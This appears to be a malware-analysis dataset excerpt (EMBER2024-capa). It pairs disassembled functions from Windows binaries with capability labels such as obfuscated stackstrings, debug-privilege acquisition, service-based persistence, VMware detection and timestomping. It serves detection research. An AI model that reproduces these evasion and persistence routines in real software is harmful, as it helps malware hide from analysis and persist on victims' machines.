joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
push ebx
mov ebx, ecx
mov edx, ebx
push esi
xor esi, esi
mov dword [ebp - 0x54], esi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10009277
sub edx, ecx
sar edx, 1
cmp edx, 0x40
ja 0x100093e7
mov ecx, 0x24
lea eax, [ebp - 0x78]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10009297
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0x24
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x4f], 0x370054d
mov dword [ebp - 0x4b], 0xf7a0169
mov dword [ebp - 0x47], 0xb700d61
mov dword [ebp - 0x43], 0x1779097d
mov dword [ebp - 0x3f], 0x13521564
mov dword [ebp - 0x3b], 0x1f7c115d
mov dword [ebp - 0x37], 0x1b6b1d6d
mov dword [ebp - 0x33], 0x276f1968
mov dword [ebp - 0x2f], 0x2358255b
mov dword [ebp - 0x2b], 0x2f4f215c
mov dword [ebp - 0x27], 0x2b5d2d52
mov dword [ebp - 0x23], 0x37072954
mov dword [ebp - 0x1f], 0x335f3544
mov dword [ebp - 0x1b], 0x3f76314b
mov word [ebp - 0x17], 0x3d3e
movups xmmword [ebp - 0x15], xmm0
mov byte [ebp - 5], cl
mov dword [ebp - 4], esi
cmp dword [ebp - 4], 0x4b
jae 0x10009364
nop dword [eax + eax]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, 0xc61b081
mov al, byte [ebp + eax - 0x4f]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 4]
add ecx, edx
add cl, 0x79
mov byte [ebp + eax - 0x4f], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4b
jb 0x10009330
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x4f]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x282], ax
test ax, ax
jne 0x10009370
mov esi, ebx
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x10009387
push edi
lea edi, [ebp - 0x280]
sub ebx, esi
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100093a0
mov ecx, ebx
lea eax, [ebp - 0x54]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 0x10038f50
lea eax, [ebp - 0x78]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [ebp - 0x280]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov ecx, dword [ebp + 0xc]
mov edx, eax
mov eax, dword [ebp - 0x54]
pop edi
pop esi
mov dword [ecx], eax
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, 0x80004005
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push edi
mov edi, edx
mov dword [ebp - 0xc], 0
mov ebx, ecx
mov dword [ebp - 0x5d], 0x23632da3
xor eax, eax
mov dword [ebp - 0x59], 0x2760216a
mov dword [ebp - 0x55], 0x3b7f257e
mov dword [edi], 0
mov dword [ebx], 0
mov dword [ebp - 0x51], 0x3f4a3979
mov dword [ebp - 0x4d], 0x334f3d4b
mov dword [ebp - 0x49], 0x37463145
mov dword [ebp - 0x45], 0xb503545
mov dword [ebp - 0x41], 0xf7a0975
mov dword [ebp - 0x3d], 0x3480d79
mov dword [ebp - 0x39], 0x77b015a
mov dword [ebp - 0x35], 0x1b520545
mov dword [ebp - 0x31], 0x1f6b196c
mov dword [ebp - 0x2d], 0x135b1d61
mov dword [ebp - 0x29], 0x17611158
mov dword [ebp - 0x25], 0x6b1d1550
mov dword [ebp - 0x21], 0x6f2a6929
mov dword [ebp - 0x1d], 0x63246d27
mov dword [ebp - 0x19], 0x673c6128
mov dword [ebp - 0x15], 0x7bf76514
mov dword [ebp - 0x11], 0x7978
mov byte [ebp - 0xd], al
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x51
jae 0x100094f4
nop dword [eax]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, 0x973f7906
mov al, byte [ebp + eax - 0x5d]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 4]
add ecx, edx
sub cl, 0x2a
mov byte [ebp + eax - 0x5d], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x51
jb 0x100094c0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push ecx
lea ecx, [ebp - 0x5d]
call fcn.10009260
add esp, 8
test eax, eax
js 0x1000954e
push esi
mov esi, dword [ebp - 8]
test esi, esi
je 0x10009538
mov eax, dword [esi]
lea ecx, [ebp - 0xc]
push ecx
push 0x1002d5e0
push 0x1002d7f0
mov eax, dword [eax + 0xc]
push esi
call eax
test eax, eax
jne 0x1000954d
mov ecx, dword [ebp - 0xc]
test ecx, ecx
jne 0x10009549
pop esi
mov eax, 0x8007000e
not eax
pop edi
shr eax, 0x1f
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebx], esi
mov dword [edi], ecx
pop esi
not eax
pop edi
shr eax, 0x1f
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
call fcn.100063c0
mov ecx, dword [0x10075f88]
mov eax, 0x76b981db
sub ecx, dword [0x10075f84]
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10009950
xorps xmm0, xmm0
mov dword [ebp - 0x31], 0x9bae8b83
mov dword [ebp - 0x2d], 0xa9bdbab6
mov dword [ebp - 0x29], 0xb29ea0b5
mov dword [ebp - 0x25], 0xafbab0ac
mov dword [ebp - 0x21], 0xb468aea2
mov word [ebp - 0x1d], 0xb2b2
mov byte [ebp - 0x1b], 0x66
movups xmmword [ebp - 0x1a], xmm0
mov dword [ebp - 0xa], 0
mov word [ebp - 6], 0
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x2d
jae 0x100098e6
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, 0x1663748a
mov al, byte [ebp + eax - 0x31]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 4]
add ecx, edx
add cl, 0x3a
mov byte [ebp + eax - 0x31], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x2d
jb 0x100098b2
lea eax, [ebp - 0x31]
push 0x10037d48
push eax
call fcn.10016436
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x10009950
mov ecx, dword [0x10075f88]
mov ebx, dword [0x10075f84]
mov dword [ebp - 0x38], ecx
cmp ebx, ecx
je 0x10009947
mov ecx, 0x22
lea edi, [ebp - 0xc8]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push eax
push 1
lea eax, [ebp - 0xc8]
push 0x8a
push eax
movsw word es:[edi], word [esi]
call fcn.10013247
mov eax, dword [ebp - 4]
add ebx, 0x8a
add esp, 0x10
cmp ebx, dword [ebp - 0x38]
jne 0x10009911
push eax
call fcn.10012c78
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c2c0
Capabilities:
Acquire debug privileges
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x160
xorps xmm0, xmm0
mov dword [esp + 9], 0x93a48b9b
mov dword [esp + 0xd], 0xada5acb0
mov dword [esp + 0x11], 0xb884aebd
mov word [esp + 0x15], 0xb6d6
mov byte [esp + 0x17], 0x54
movq qword [esp + 0x18], xmm0
mov dword [esp + 0x20], 0
mov dword [esp], 0
cmp dword [esp], 0x1b
jae 0x1000c344
nop
mov ecx, dword [esp]
mov eax, dword [esp]
add ecx, 0xfe78030b
mov al, byte [esp + eax + 9]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [esp]
add ecx, edx
sub cl, 0x4d
mov byte [esp + eax + 9], cl
mov eax, dword [esp]
inc eax
mov dword [esp], eax
cmp dword [esp], 0x1b
jb 0x1000c310
push 0
lea eax, [esp + 0xd]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000c3c4
lea eax, [esp + 0x40]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1000c3ba
mov eax, dword [esp + 0x40]
push 0
push 0
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x4c]
push 0x10
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x54]
push eax
push 0
push dword [esp + 0x18]
mov dword [esp + 0x60], 1
mov dword [esp + 0x6c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000c3c4
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [esp + 0x5c]
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [esp + 0x58]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x58]
push eax
call fcn.10017a76
lea eax, [esp + 0x5c]
push eax
push 0x10038214
call fcn.10002fb0
xorps xmm0, xmm0
mov dword [esp + 0x30], 0xee161a13
mov dword [esp + 0x34], 0x1b1d18e2
add esp, 0xc
mov dword [esp + 0x2c], 0xd814e6dc
mov byte [esp + 0x30], 0xb2
movq qword [esp + 0x31], xmm0
mov dword [esp + 0x39], 0
mov word [esp + 0x3d], 0
mov byte [esp + 0x3f], 0
mov dword [esp], 0
cmp dword [esp], 0x1c
jae 0x1000c484
nop dword [eax]
mov ecx, dword [esp]
mov eax, dword [esp]
add ecx, 0xb0593c15
mov al, byte [esp + eax + 0x24]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [esp]
add ecx, edx
add cl, 0x6d
mov byte [esp + eax + 0x24], cl
mov eax, dword [esp]
inc eax
mov dword [esp], eax
cmp dword [esp], 0x1c
jb 0x1000c450
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.1000f270
add esp, 8
test eax, eax
je 0x1000c4a3
call fcn.10008e70
mov esp, ebp
pop ebp
ret
push str.C:ProgramDatauncfg.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.100088d0
call fcn.1000c2a0
int3
Function at 0x1000c6f0
Capabilities:
Start service

Disassembly:
push ebx
push esi
push edi
push 2
xor esi, esi
mov ebx, ecx
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x1000c733
push 0x10010
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x1000c72c
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x1000c740
Capabilities:
Create service
Modify service
Persist via windows service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push edi
mov esi, ecx
call fcn.100084f0
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.1000f750
lea ecx, [ebp - 0x108]
add esp, 0xc
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x1000c770
push 0xf003f
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x1000c84a
push ebx
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x108]
push eax
push 1
push 2
push 0x110
push 0xf01ff
push 0x10073fb5
push 0x10073f95
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
test ebx, ebx
je 0x1000c821
push 0x104
lea eax, [ebp - 0x20c]
mov edi, 1
push 0
push eax
call fcn.1000f750
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10074035]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x20d], al
test al, al
jne 0x1000c7f0
lea eax, [ebp - 0x20c]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
test edi, edi
je 0x1000c84a
mov ecx, 0x10073f95
call fcn.1000c6f0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10019d4b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10019bca

Function at 0x1001fab6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001f776
Function at 0x401a10
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b6868
push 0x4381e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b750
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x2004
call fcn.004382c0
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2014]
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push ebp
push eax
lea ecx, [esp + 0x1c]
push 0x2000
push ecx
push esi
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, dword [esp + 0x10]
xor ecx, ecx
xor eax, eax
lea edx, [esi - 3]
cmp edx, ebp
jbe 0x40b7d6
mov bl, 9
cmp byte [esp + eax + 0x15], bl
jne 0x40b7c5
cmp byte [esp + eax + 0x16], bl
jne 0x40b7c5
cmp byte [esp + eax + 0x17], bl
jne 0x40b7c5
inc ecx
cmp ecx, 3
jge 0x40b7d1
inc eax
cmp eax, edx
jb 0x40b7b2
jmp 0x40b7d6
mov ebp, 1
xor ecx, ecx
xor eax, eax
test edx, edx
jbe 0x40b804
mov bl, 0x20
cmp byte [esp + eax + 0x15], bl
jne 0x40b7f3
cmp byte [esp + eax + 0x16], bl
jne 0x40b7f3
cmp byte [esp + eax + 0x17], bl
jne 0x40b7f3
inc ecx
cmp ecx, 3
jge 0x40b7ff
inc eax
cmp eax, edx
jb 0x40b7e0
jmp 0x40b804
mov ebp, 1
xor ecx, ecx
xor eax, eax
test edx, edx
jbe 0x40b834
mov bl, 0xef
cmp byte [esp + eax + 0x14], bl
jne 0x40b823
cmp byte [esp + eax + 0x15], 0xbf
jne 0x40b823
cmp byte [esp + eax + 0x16], 0xbd
jne 0x40b823
inc ecx
cmp ecx, 3
jge 0x40b82f
inc eax
cmp eax, edx
jb 0x40b80e
jmp 0x40b834
mov ebp, 1
lea ecx, [esi - 2]
xor edx, edx
xor eax, eax
test ecx, ecx
jbe 0x40b859
mov bl, 0xd
cmp byte [esp + eax + 0x14], bl
jne 0x40b84f
cmp byte [esp + eax + 0x15], 0xa
jne 0x40b84f
inc edx
cmp edx, 3
jge 0x40b866
inc eax
cmp eax, ecx
jb 0x40b841
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x2004
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2004
ret
Function at 0x40cc80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4b13c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [esp + 0x38]
xor ebx, ebx
cmp edi, ebx
mov dword [esp + 0x20], ebx
je 0x40ceca
push edi
call fcn.004386b2
add esp, 4
test eax, eax
je 0x40ceca
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40ccd4
push 0x4e0954
jmp 0x40cecf
lea eax, [esp + 0xc]
push ebx
lea ecx, [esp + 0x24]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
lea eax, [esp + 0x28]
push ebx
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x28]
push ecx
push edx
push edi
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x30], ebx
call fcn.00411b50
mov esi, eax
add esp, 0x24
cmp esi, ebx
je 0x40ce83
push 0x4f4c50
lea ecx, [esp + 0x3c]
call fcn.004a2cae
cmp esi, 1
mov dword [esp + 0x2c], ebx
jne 0x40cd49
push 0x4e0944
lea ecx, [esp + 0x3c]
call fcn.004a2dd1
jmp 0x40cdce
cmp esi, 2
jne 0x40cd5e
push str.MOMO
lea ecx, [esp + 0x3c]
call fcn.004a2dd1
jmp 0x40cdce
cmp esi, 3
jne 0x40cdbb
mov eax, dword [esp + 0xc]
cmp eax, 6
jne 0x40cd7c
push 0x4e0920
lea ecx, [esp + 0x3c]
call fcn.004a2dd1
jmp 0x40cdce
cmp eax, 4
jne 0x40cd91
push 0x4e0910
lea ecx, [esp + 0x3c]
call fcn.004a2dd1
jmp 0x40cdce
cmp eax, 3
jne 0x40cda6
push 0x4e0900
lea ecx, [esp + 0x3c]
call fcn.004a2dd1
jmp 0x40cdce
cmp eax, 7
jne 0x40cdce
push 0x4e08ec
lea ecx, [esp + 0x3c]
call fcn.004a2dd1
jmp 0x40cdce
push esi
lea eax, [esp + 0x3c]
push 0x4e08d0
push eax
call fcn.004a0c59
add esp, 0xc
push 0x4e08c8
lea ecx, [esp + 0x3c]
call fcn.004a302b
cmp dword [esp + 0x10], ebx
je 0x40cdf0
push 0x4e08bc
lea ecx, [esp + 0x3c]
call fcn.004a302b
cmp dword [esp + 0x14], ebx
je 0x40ce04
push 0x4e08b0
lea ecx, [esp + 0x3c]
call fcn.004a302b
cmp dword [esp + 0x18], ebx
je 0x40ce18
push 0x4e08a4
lea ecx, [esp + 0x3c]
call fcn.004a302b
cmp dword [esp + 0x1c], ebx
je 0x40ce2c
push 0x4e0894
lea ecx, [esp + 0x3c]
call fcn.004a302b
cmp dword [esp + 0x20], ebx
je 0x40ce40
push 0x4e0884
lea ecx, [esp + 0x3c]
call fcn.004a302b
push str.___r_n
lea ecx, [esp + 0x3c]
call fcn.004a0c6c
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x38]
push ecx
mov ecx, esi
call fcn.004a29a7
lea ecx, [esp + 0x38]
mov dword [esp + 0x2c], 0xffffffff
call fcn.004a2c3a
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
push ebx
push ebx
push ebx
push edi
call fcn.00412120
add esp, 0x10
cmp eax, ebx
je 0x40cec3
cmp eax, 1
jne 0x40ce9f
push 0x4e0864
jmp 0x40cecf
cmp eax, 2
jne 0x40ceab
push 0x4e084c
jmp 0x40cecf
cmp eax, 3
jne 0x40ceb7
push 0x4e0838
jmp 0x40cecf
cmp eax, 4
jne 0x40cec3
push 0x4e0820
jmp 0x40cecf
push 0x4e0814
jmp 0x40cecf
push 0x4f4c50
mov esi, dword [esp + 0x38]
mov ecx, esi
call fcn.004a2cae
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x40d460
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4b148b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5a4
push esi
mov esi, ecx
push edi
mov ecx, 0x167
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x94c]
mov ecx, dword [esi + 0x944]
mov edx, dword [esi + 0x948]
mov dword [esp + 0x20], eax
mov eax, dword [esi + 0x950]
xor edi, edi
mov dword [esp + 0x24], eax
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0x53430000
push eax
mov dword [esp + 0x18], edi
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], edx
call fcn.0046e1c0
add esp, 8
mov ecx, dword [esp + 8]
mov dword [esp + 0x5b4], edi
mov eax, dword [ecx - 8]
cmp eax, edi
jbe 0x40d4fb
cmp eax, 0x400
jae 0x40d4fb
push eax
push ecx
lea ecx, [esp + 0x1b4]
push ecx
call fcn.00437f70
add esp, 0xc
mov eax, 5
mov dword [esp + 0x38], 0x3e9
mov dword [esp + 0x3c], 0x7d2
mov dword [esp + 0x30], 0x10001
mov dword [esp + 0x34], edi
mov dword [esp + 0x40], 0xbbb
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], 1
mov dword [esp + 0x54], 3
mov dword [esp + 0x58], edi
call fcn.0040d5d0
lea edx, [esp + 0x6c]
push str.TEC_GANYONG
push edx
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], 0xc0a80033
call fcn.00438893
lea eax, [esp + 0x114]
push 0x4e0a54
push eax
call fcn.00438893
mov ecx, dword [esi + 0x95c]
lea edx, [esp + 0x1c]
push ecx
push 1
push 0x5a0
push edx
call fcn.004118a0
push 1
call fcn.00411950
add esp, 0x24
lea ecx, [esp + 8]
mov dword [esp + 0x5b4], 0xffffffff
call fcn.00447180
mov ecx, dword [esp + 0x5ac]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x5b0
ret 4
Function at 0x4118a0
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
mov eax, dword [0x4f58bc]
push ebx
mov ebx, dword [esp + 0x10]
push esi
test eax, eax
push edi
jne 0x4118c2
mov eax, dword [0x4f5fdc]
test eax, eax
jne 0x4118c2
mov eax, dword [0x4f679c]
test eax, eax
je 0x4118c6
test ebx, ebx
je 0x411900
mov eax, dword [0x4e192c]
or esi, 0xffffffff
cmp eax, esi
jne 0x411900
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, esi
mov dword [0x4e192c], eax
je 0x411900
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x411900
mov eax, dword [0x4e192c]
push eax
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [0x4e192c], esi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.00413b40
add esp, 0xc
test eax, eax
je 0x411943
mov ecx, dword [esp + 0x1c]
push ecx
push ebx
push esi
push edi
call fcn.0041b410
add esp, 0x10
test eax, eax
je 0x411943
push ebx
push esi
push edi
call fcn.00424830
add esp, 0xc
test eax, eax
je 0x411943
pop edi
pop esi
mov eax, 1
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x413900
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x10]
xor ebx, ebx
push 1
push eax
push ebx
push esi
mov dword [esp + 0x20], ebx
call edi
mov ebp, eax
mov eax, dword [esp + 0x1c]
xor ecx, ecx
cmp eax, ebx
setl cl
dec ecx
and ecx, 0xfffffffe
add ecx, 2
push ecx
push ebx
push eax
push esi
call edi
cmp eax, 0xffffffff
je 0x41396c
mov eax, dword [esp + 0x2c]
test eax, eax
jne 0x413961
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
lea edx, [esp + 0x10]
push 0
push edx
push ebp
push esi
call edi
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x414780
Capabilities:
Access peb ldr_data
Timestomp file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b1908
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
xor edi, edi
push edi
call fcn.00413b20
mov esi, dword [esp + 0x44]
add esp, 4
cmp esi, edi
je 0x4148a8
push esi
call fcn.004386b2
add esp, 4
test eax, eax
je 0x4148a8
mov ebx, dword [esp + 0x44]
cmp ebx, edi
je 0x4148a8
push esi
lea ecx, [esp + 0x28]
call fcn.00428820
push edi
push edi
push 3
push edi
push 1
push 0xc0000000
push esi
mov dword [esp + 0x54], edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x414827
push 0x1c0c
push 3
call fcn.00413b00
add esp, 8
lea ecx, [esp + 0x24]
mov dword [esp + 0x38], esi
call fcn.004288c0
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
add esp, 0x30
ret
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
push esi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x48]
push eax
push ebx
push esi
call fcn.004148d0
add esp, 0xc
lea ecx, [esp + 0xc]
mov edi, eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov dword [esp + 0x38], 0xffffffff
call fcn.004288c0
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
add esp, 0x30
ret
push 0x1bf9
push 1
call fcn.00413b00
mov ecx, dword [esp + 0x38]
add esp, 8
xor eax, eax
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x30
ret